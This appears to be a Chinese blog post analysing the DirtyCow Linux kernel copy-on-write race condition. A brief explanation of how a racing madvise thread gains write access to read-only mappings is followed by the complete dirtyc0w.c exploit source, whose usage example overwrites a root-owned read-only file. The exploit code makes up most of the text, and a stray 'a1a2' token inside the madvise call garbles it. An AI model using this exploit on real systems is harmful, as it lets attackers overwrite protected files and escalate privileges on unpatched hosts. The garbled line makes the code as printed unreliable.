DirtyCow Linux权限提升漏洞分析

DirtyCow Linux权限提升漏洞分析



如上图，这个漏洞的特点就是线程竞争导致可以读写的权限被扩大了。其实具体说可能有点绕，就是foll_write标志在row特性执行后去掉了，但是再次执行时却没有检查页表项的有效性，导致我们可以利用另一个线程清空页表。清空的页表由于没有了foll_write权限要求，再次被分配时就不执行row执行机制，导致原本不应该本写的地址拥有了写的权限。







画了个图，感觉应该挺形象的。

/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661 > This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,
a1a2
100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16 >  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,(uintptr_t) map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}

int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<3) {
(void)fprintf(stderr, "%s\n",
"usage: dirtyc0w target_file new_content");
return 1; }
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}

这个漏洞强大的表现在于，不会被一般环境限制，只要是页表在执行row机制的时候，我们就可以想办法竞争清空页表。然后获取只读地址的可写权限。这种漏洞个人感觉利用起来还是比较方便的。不过可惜早就补上了。

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